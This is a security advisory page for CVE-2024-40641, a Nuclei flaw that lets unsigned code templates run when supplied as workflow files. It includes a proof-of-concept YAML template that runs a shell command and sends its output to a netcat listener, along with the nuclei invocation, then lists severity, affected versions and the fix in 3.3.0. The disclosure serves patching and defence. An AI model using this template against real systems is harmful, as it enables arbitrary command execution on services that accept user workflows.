Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS1jM3E5LWMyN3AtY3c5aM4AA9_J
projectdiscovery/nuclei allows unsigned code template execution through workflows
Summary
Find a way to execute code template without -code option and signature.
Details
write a code.yaml
:
id: code
info:
name: example code template
author: ovi3
code:
- engine:
- sh
- bash
source: |
id
http:
- raw:
- |
POST /re HTTP/1.1
Host: {{Hostname}}
{{code_response}}
workflows:
- matchers:
- name: t
using nc to listen on 80:
nc -lvvnp 80
execute PoC template with nuclei:
./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug
and nc will get id
command output.
We use -w
to specify a workflow file, not -t
to template file. and notice there is a workflows
field in code.yaml to pretend to be a workflow file.
Test in Linux and Nuclei v3.2.9
Impact
Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)
Permalink: https://github.com/advisories/GHSA-c3q9-c27p-cw9hJSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jM3E5LWMyN3AtY3c5aM4AA9_J
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 2 months ago
Updated: about 1 month ago
CVSS Score: 7.4
CVSS vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
Identifiers: GHSA-c3q9-c27p-cw9h, CVE-2024-40641
References:
- https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-c3q9-c27p-cw9h
- https://nvd.nist.gov/vuln/detail/CVE-2024-40641
- https://github.com/advisories/GHSA-c3q9-c27p-cw9h
Blast Radius: 0.0
Affected Packages
go:github.com/projectdiscovery/nuclei/v3
Dependent packages: 1Dependent repositories: 1
Downloads:
Affected Version Ranges: < 3.3.0
Fixed in: 3.3.0
All affected versions: 3.0.0, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.1.0, 3.1.1, 3.1.2, 3.1.3, 3.1.4, 3.1.5, 3.1.6, 3.1.7, 3.1.8, 3.1.9, 3.1.10, 3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.2.6, 3.2.7
All unaffected versions: